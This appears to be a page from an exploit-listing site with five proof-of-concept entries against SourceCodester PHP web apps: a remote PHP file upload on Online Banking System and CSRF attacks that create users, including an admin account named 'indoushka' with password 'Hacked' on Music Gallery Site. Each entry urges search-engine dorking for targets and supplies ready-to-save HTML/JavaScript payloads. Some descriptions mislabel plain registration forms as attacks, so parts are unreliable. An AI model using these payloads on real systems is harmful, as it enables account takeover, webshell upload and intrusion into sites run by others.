Latest exploits :: CodePwn

<pre><code>============================================================================================================================================= | # Title : Online Banking System 1.0 Remote File Upload Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits) | | # Vendor : https://www.sourcecodester.com/sites/default/files/download/oretnom23/banking.zip | ============================================================================================================================================= poc : [+] Dorking İn Google Or Other Search Enggine. [+] This HTML page is designed to remotely upload PHP malicious files directly. [+] Here’s a breakdown of its components and functionality: HTML Structure: DOCTYPE & <html>: Defines the document type and language. <head>: Contains meta-information about the document like character encoding and viewport settings, and the title of the page. <body>: Contains the main content of the page. Form Elements: <form id="uploadForm">: A form with the ID "uploadForm" that contains input fields and a button for file upload. <label> and <input> fields: Collect information from the user: Target IP: IP address where the file will be uploaded. Attacker IP: The IP address of the attacker (though this field is not used in the script). Attacker Port: The port number of the attacker (not used in the script). File Input: Allows the user to select a file to upload. <button>: A button that triggers the file upload process when clicked. JavaScript Functionality: uploadFile(): Function executed when the "Upload File" button is clicked. Collects input values: Retrieves values from the input fields and the selected file. Validation: Checks if all fields are filled and a file is selected. Alerts the user if any field is missing. FormData Object: Creates a FormData object to package the file and additional data (name with the value 'PWNED'). fetch API: Sends a POST request to the target IP with the file attached: URL: http://${targetIP}/banking/classes/SystemSettings.php?f=update_settings Response Handling: Logs success or failure based on the server's response. If the response is '1', it indicates success; otherwise, it logs an error. Security Note: Potential Risk: This script is for educational purposes, and its functionality (uploading a file to a specified server) could be misused. It’s crucial to ensure that any file upload functionality is properly secured and validated to prevent unauthorized access or attacks. [+] Line 45 set url of target. [+] Choose the target IP . [+] Put any IP address of your own . [+] Put any port . [+] The path to upload the files : http://localhost/banking/uploads/ [+] Save Code as html : <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Direct File Upload</title> </head> <body> <h2>Direct File Upload</h2> <form id="uploadForm"> <label for="targetIP">Target IP:</label> <input type="text" id="targetIP" name="targetIP" required> <label for="attackerIP">Attacker IP:</label> <input type="text" id="attackerIP" name="attackerIP" required> <label for="attackerPort">Attacker Port:</label> <input type="number" id="attackerPort" name="attackerPort" required> <label for="fileInput">Select File:</label> <input type="file" id="fileInput" name="fileInput" required> <button type="button" onclick="uploadFile()">Upload File</button> </form> <script> function uploadFile() { const targetIP = document.getElementById('targetIP').value; const attackerIP = document.getElementById('attackerIP').value; const attackerPort = document.getElementById('attackerPort').value; const fileInput = document.getElementById('fileInput').files[0]; if (!targetIP || !attackerIP || !attackerPort || !fileInput) { alert('Please fill in all fields and select a file.'); return; } const formData = new FormData(); formData.append('name', 'PWNED'); formData.append('img', fileInput); console.log("(+) Uploading file..."); fetch(`http://${targetIP}/banking/classes/SystemSettings.php?f=update_settings`, { method: 'POST', body: formData }) .then(response => response.text()) .then(data => { if (data === '1') { console.log("(+) File upload seems to have been successful!"); } else { console.log("(-) Oh no, the file upload seems to have failed!"); } }) .catch(error => console.error("(-) Error during file upload:", error)); } </script> </body> </html> Greetings to :============================================================ jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr | ========================================================================== </code></pre>

<pre><code>============================================================================================================================================= | # Title : Online ID Generator 1.0 CSRF Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits) | | # Vendor : https://www.sourcecodester.com/sites/default/files/download/oretnom23/id_generator_0.zip | ============================================================================================================================================= poc : [+] Dorking İn Google Or Other Search Enggine. [+] This HTML page : is a user registration form that allows users to input a username, password, and upload an avatar image. The form data is then sent via an AJAX request to a server-side script for processing. [+] Here's a breakdown of how it works: HTML Structure Form Elements: username: A text field where the user can input their username. password: A password field for entering a password. img: A file input for uploading an avatar image (restricted to image file types). Save User Button: An input element with the type button is used to trigger the saveUser() function when clicked. [+] JavaScript (AJAX Request) FormData Object: The FormData object is created to hold the form's data, including the file upload. AJAX Request: An XMLHttpRequest object (xhr) is used to send the form data to a server-side script (Users.php). The request method is POST, and the data is sent to the specified URL. The onload function checks if the request was successful (status code 200). If it was, it alerts the user that the save was successful; otherwise, it alerts the user of an error. [+] Backend Requirements : The server-side script (Users.php) should be capable of handling the incoming POST request, processing the form data (including saving the file), and returning an appropriate response. This form can be improved by adding additional client-side validations, better error handling, and perhaps enhancing security measures, such as sanitizing inputs on the server side. [+] save code as poc.html [+] payload : <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>User Registration</title> </head> <body> <h2>User Registration</h2> <form id="userForm" enctype="multipart/form-data"> <label for="username">Username:</label> <input type="text" id="username" name="username" required> <label for="password">Password:</label> <input type="password" id="password" name="password" required> <label for="img">Avatar:</label> <input type="file" id="img" name="img" accept="image/*"> <input type="button" value="Save User" onclick="saveUser()"> </form> <script> function saveUser() { var form = document.getElementById('userForm'); var formData = new FormData(form); var xhr = new XMLHttpRequest(); xhr.open("POST", "http://127.0.0.1/id_generator/classes/Users.php?f=save", true); xhr.onload = function () { if (xhr.status === 200) { alert('User saved successfully'); } else { alert('An error occurred while saving the user'); } }; xhr.send(formData); } </script> </body> </html> Greetings to :============================================================ jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr | ========================================================================== </code></pre>

<pre><code>============================================================================================================================================= | # Title : Online Banking System 1.0 CSRF Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits) | | # Vendor : https://www.sourcecodester.com/sites/default/files/download/oretnom23/banking.zip | ============================================================================================================================================= poc : [+] Dorking İn Google Or Other Search Enggine. [+] This HTML page : is a user registration form that allows users to input a username, password, and upload an avatar image. The form data is then sent via an AJAX request to a server-side script for processing. [+] Here's a breakdown of how it works: HTML Structure Form Elements: username: A text field where the user can input their username. password: A password field for entering a password. img: A file input for uploading an avatar image (restricted to image file types). Save User Button: An input element with the type button is used to trigger the saveUser() function when clicked. [+] JavaScript (AJAX Request) FormData Object: The FormData object is created to hold the form's data, including the file upload. AJAX Request: An XMLHttpRequest object (xhr) is used to send the form data to a server-side script (Users.php). The request method is POST, and the data is sent to the specified URL. The onload function checks if the request was successful (status code 200). If it was, it alerts the user that the save was successful; otherwise, it alerts the user of an error. [+] Backend Requirements : The server-side script (Users.php) should be capable of handling the incoming POST request, processing the form data (including saving the file), and returning an appropriate response. This form can be improved by adding additional client-side validations, better error handling, and perhaps enhancing security measures, such as sanitizing inputs on the server side. [+] save code as poc.html [+] payload : <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>User Registration</title> </head> <body> <h2>User Registration</h2> <form id="userForm" enctype="multipart/form-data"> <label for="username">Username:</label> <input type="text" id="username" name="username" required> <label for="password">Password:</label> <input type="password" id="password" name="password" required> <label for="img">Avatar:</label> <input type="file" id="img" name="img" accept="image/*"> <input type="button" value="Save User" onclick="saveUser()"> </form> <script> function saveUser() { var form = document.getElementById('userForm'); var formData = new FormData(form); var xhr = new XMLHttpRequest(); xhr.open("POST", "http://127.0.0.1/banking/classes/Users.php?f=save", true); xhr.onload = function () { if (xhr.status === 200) { alert('User saved successfully'); } else { alert('An error occurred while saving the user'); } }; xhr.send(formData); } </script> </body> </html> Greetings to :============================================================ jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr | ========================================================================== </code></pre>

<pre><code>============================================================================================================================================= | # Title : Music Gallery Site v1.0 CSRF Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits) | | # Vendor : https://www.sourcecodester.com/sites/default/files/download/oretnom23/php-music.zip | ============================================================================================================================================= poc : [+] Dorking İn Google Or Other Search Enggine. [+] The following JavaScript code : creating a POST request using JavaScript to send certain data to a local server via HTTP. Here are the key points: [+] Create an XMLHttpRequest object: xhr = new XMLHttpRequest(); Creates an XMLHttpRequest object that is used to send requests to the server. [+] Open the request: xhr.open("POST", "http://127.0.0.1/php-music/classes/Users.php?f=save", true); Opens a connection to the specified URL (in this case, a local server) using the HTTP method "POST". [+] Set the request headers: xhr.setRequestHeader("Accept", "*/*"); Specifies that the request accepts any type of response. xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5"); Specifies that the request accepts responses in English. xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------"); Specifies the content type of the request as multipart/form-data with specified boundaries. [+] Enable sending cookies: xhr.withCredentials = true; Specifies that cookies should be sent with the request. [+] Setting up the request data: The body is set up using a string containing the form data parts. Each part contains information such as username, password, and type. This string is converted to a Uint8Array and then to a Blob to be sent. [+] Sending the request: xhr.send(new Blob([aBody])); Sends the data to the server. [+] User Interface: There is a button inside the HTML form that calls the submitRequest() function when clicked, which executes the request. [+] Go to the line 6. Set the target site link Save changes and apply . [+] infected file : Users.php. [+] Line 15 : Choose a name "indoushka". [+] Line 19 : Choose a password "Hacked". [+] save code as poc.html [+] payload : <!DOCTYPE html> <html> <body> <script> function submitRequest() { var xhr = new XMLHttpRequest(); xhr.open("POST", "http:\/\/127.0.0.1\/php-music\/classes\/Users.php?f=save", true); xhr.setRequestHeader("Accept", "*\/*"); xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5"); xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------"); xhr.withCredentials = true; var body = "-----------------------------\r\n" + "Content-Disposition: form-data; name=\"username\"\r\n" + "\r\n" + "indoushka\r\n" + "-----------------------------\r\n" + "Content-Disposition: form-data; name=\"password\"\r\n" + "\r\n" + "Hacked\r\n" + "-----------------------------\r\n" + "Content-Disposition: form-data; name=\"type\"\r\n" + "\r\n" + "1\r\n" + "-------------------------------\r\n"; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); } </script> <form action="#"> <input type="button" value="Submit request" onclick="submitRequest();" /> </form> </body> </html> Greetings to :============================================================ jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr | ========================================================================== </code></pre>

<pre><code>============================================================================================================================================= | # Title : Medical Center Portal 1.0 CSRF Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits) | | # Vendor : https://www.sourcecodester.com/sites/default/files/download/oretnom23/medic.zip | ============================================================================================================================================= poc : [+] Dorking İn Google Or Other Search Enggine. [+] The following html code uploads a executable malicious file remotely . [+] Go to the line 52. [+] Set the target site link Save changes and apply . [+] save code as poc.html . <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Registration Form</title> <style> body { font-family: Arial, sans-serif; margin: 20px; padding: 20px; max-width: 600px; background-color: #f4f4f4; border-radius: 8px; } .form-container { display: flex; flex-direction: column; } .form-group { margin-bottom: 15px; } .form-group label { font-weight: bold; margin-bottom: 5px; display: block; } .form-group input, .form-group select { padding: 8px; width: 100%; border: 1px solid #ccc; border-radius: 4px; } .form-group select { cursor: pointer; } .form-group button { padding: 10px 15px; background-color: #007bff; color: white; border: none; cursor: pointer; border-radius: 4px; } .form-group button:hover { background-color: #0056b3; } </style> </head> <body> <h2>Registration Form</h2> <form action="http://127.0.0.1/medic/pages/register.php?action=add" method="POST" class="form-container"> <div class="form-group"> <label for="firstname">First Name:</label> <input type="text" id="firstname" name="firstname" required> </div> <div class="form-group"> <label for="nid">National ID (NID):</label> <input type="text" id="nid" name="nid" required> </div> <div class="form-group"> <label for="gender">Gender:</label> <select id="gender" name="gender" required> <option value="">Select Gender</option> <option value="male">Male</option> <option value="female">Female</option> </select> </div> <div class="form-group"> <label for="email">Email:</label> <input type="email" id="email" name="email" required> </div> <div class="form-group"> <label for="phonenumber">Phone Number:</label> <input type="text" id="phonenumber" name="phonenumber" required> </div> <div class="form-group"> <label for="jobs">Job:</label> <select id="jobs" name="jobs" required> <option value="">Select Job</option> <option value="doctor">Doctor</option> <option value="nurse">Nurse</option> <option value="pharmacist">Pharmacist</option> </select> </div> <div class="form-group"> <label for="province">Province:</label> <select id="province" name="province" required> <option value="">Select Province</option> <option value="province1">Province 1</option> <option value="province2">Province 2</option> <option value="province3">Province 3</option> </select> </div> <div class="form-group"> <label for="city">City:</label> <select id="city" name="city" required> <option value="">Select City</option> <option value="city1">City 1</option> <option value="city2">City 2</option> <option value="city3">City 3</option> </select> </div> <div class="form-group"> <label for="username">Username:</label> <input type="text" id="username" name="username" required> </div> <div class="form-group"> <label for="password">Password:</label> <input type="password" id="password" name="password" required> </div> <div class="form-group"> <button type="submit">Register</button> </div> </form> </body> </html> Greetings to :============================================================ jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr | ========================================================================== </code></pre>